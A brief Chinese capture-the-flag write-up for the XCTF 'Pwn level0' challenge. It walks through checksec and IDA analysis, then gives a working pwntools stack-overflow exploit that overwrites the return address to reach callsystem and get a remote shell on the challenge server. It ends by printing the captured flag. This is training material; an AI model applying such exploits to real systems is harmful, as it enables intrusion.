攻防世界 Pwn level0
下载本地文件拉到Kali
1. 检查文件
file level0
checksec level0
没有开任何保护
2. 拉进IDA看一下
在这里看到了 ”bin/sh"
可以在这里获取shell权限
目标明确
看到了vulnerable_function
很明显是栈溢出的操作
看一下栈空间
buf上需要覆盖 80-0+8 大小的数据
r 上弹 callsystem的地址即可
3. 开始写exp
##coding=utf8
from pwn import *
## 构造与程序交互的对象
content=0
if content==1:
p = process('./level0')
else:
p = remote("111.200.241.244",61229)
payload = b'a' * (0x80 + 8)
payload = payload + p64(0x400596)
p.recvuntil("Hello, World\n")
p.sendline(payload)
p.interactive()
4. 运行一下写好的exp
./exp_level0.py
ls
ls遍历一下获取的目录
看到有一个flag文件
cat一下这个文件
cat flag
得到了我们想要的flag
cyberpeace{d9b70c7495ebc38b58293049dbad47c6}